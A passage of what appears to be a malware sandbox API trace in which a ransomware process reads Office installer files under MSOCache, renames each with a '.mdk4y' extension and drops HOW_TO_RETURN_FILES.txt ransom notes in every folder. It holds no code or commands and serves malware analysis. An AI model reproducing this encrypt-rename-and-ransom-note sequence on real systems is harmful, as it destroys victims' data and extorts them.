lpMultiByteStr="PowerPointMUI.msi0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 17 [0076.876] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0076.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815210600000) returned 1 [0076.876] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0077.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815224600000) returned 1 [0077.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815224600000) returned 1 [0077.047] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.mdk4y")) returned 1 [0077.048] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.048] AreFileApisANSI () returned 1 [0077.048] GetACP () returned 0x4e4 [0077.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PowerPointMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 17 [0077.048] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815227800000) returned 1 [0077.048] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5aa, lpOverlapped=0x0) returned 1 [0077.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815228500000) returned 1 [0077.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815228500000) returned 1 [0077.056] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.mdk4y")) returned 1 [0077.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.056] AreFileApisANSI () returned 1 [0077.056] GetACP () returned 0x4e4 [0077.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PptLR.cabtMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0077.056] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815228800000) returned 1 [0077.058] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0077.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815234800000) returned 1 [0077.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815235400000) returned 1 [0077.133] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.mdk4y")) returned 1 [0077.134] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.134] AreFileApisANSI () returned 1 [0077.134] GetACP () returned 0x4e4 [0077.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0077.134] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815236400000) returned 1 [0077.134] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x75e, lpOverlapped=0x0) returned 1 [0077.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815239000000) returned 1 [0077.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815239000000) returned 1 [0077.161] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0077.161] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 0 [0077.161] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0077.161] AreFileApisANSI () returned 1 [0077.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0077.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0077.162] GetFileType (hFile=0x128) returned 0x1 [0077.163] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0077.163] AreFileApisANSI () returned 1 [0077.163] GetACP () returned 0x4e4 [0077.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0019-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0019-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0077.163] AreFileApisANSI () returned 1 [0077.163] GetACP () returned 0x4e4 [0077.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\jg") returned 63 [0077.165] AreFileApisANSI () returned 1 [0077.165] GetACP () returned 0x4e4 [0077.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0077.165] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.165] AreFileApisANSI () returned 1 [0077.165] GetACP () returned 0x4e4 [0077.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0077.165] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.165] AreFileApisANSI () returned 1 [0077.165] GetACP () returned 0x4e4 [0077.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PublisherMUI.msi-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 16 [0077.165] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815239900000) returned 1 [0077.169] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0077.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815247600000) returned 1 [0077.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815247700000) returned 1 [0077.259] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.mdk4y")) returned 1 [0077.259] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.259] AreFileApisANSI () returned 1 [0077.259] GetACP () returned 0x4e4 [0077.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PublisherMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 16 [0077.259] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815249000000) returned 1 [0077.260] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5aa, lpOverlapped=0x0) returned 1 [0077.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815254800000) returned 1 [0077.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815254800000) returned 1 [0077.319] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.mdk4y")) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.319] AreFileApisANSI () returned 1 [0077.319] GetACP () returned 0x4e4 [0077.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PubLR.cabMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0077.319] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815254900000) returned 1 [0077.320] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0077.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815259800000) returned 1 [0077.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815259800000) returned 1 [0077.384] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.mdk4y")) returned 1 [0077.385] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.385] AreFileApisANSI () returned 1 [0077.385] GetACP () returned 0x4e4 [0077.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0077.385] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815261500000) returned 1 [0077.385] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x648, lpOverlapped=0x0) returned 1 [0077.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815266100000) returned 1 [0077.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815266100000) returned 1 [0077.431] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 0 [0077.432] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0077.432] AreFileApisANSI () returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0077.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0077.432] GetFileType (hFile=0x128) returned 0x1 [0077.433] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0077.433] AreFileApisANSI () returned 1 [0077.433] GetACP () returned 0x4e4 [0077.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-001A-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-001A-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0077.433] AreFileApisANSI () returned 1 [0077.433] GetACP () returned 0x4e4 [0077.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\ji") returned 63 [0077.435] AreFileApisANSI () returned 1 [0077.435] GetACP () returned 0x4e4 [0077.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0077.435] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.435] AreFileApisANSI () returned 1 [0077.435] GetACP () returned 0x4e4 [0077.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0077.435] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.436] AreFileApisANSI () returned 1 [0077.436] GetACP () returned 0x4e4 [0077.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlkLR.cab", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OutlkLR.cab-0019-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 11 [0077.436] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815266600000) returned 1 [0077.436] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0077.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815315300000) returned 1 [0077.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815315300000) returned 1 [0077.932] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.mdk4y")) returned 1 [0077.932] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0077.932] AreFileApisANSI () returned 1 [0077.932] GetACP () returned 0x4e4 [0077.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlookMUI.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OutlookMUI.msi19-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 14 [0077.933] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0077.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815316300000) returned 1 [0077.933] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0078.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815329700000) returned 1 [0078.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815329700000) returned 1 [0078.153] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.mdk4y")) returned 1 [0078.154] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0078.154] AreFileApisANSI () returned 1 [0078.154] GetACP () returned 0x4e4 [0078.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlookMUI.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OutlookMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0078.154] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0078.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815338400000) returned 1 [0078.154] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc72, lpOverlapped=0x0) returned 1 [0078.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815340700000) returned 1 [0078.177] QueryPerformanceCounter (in: 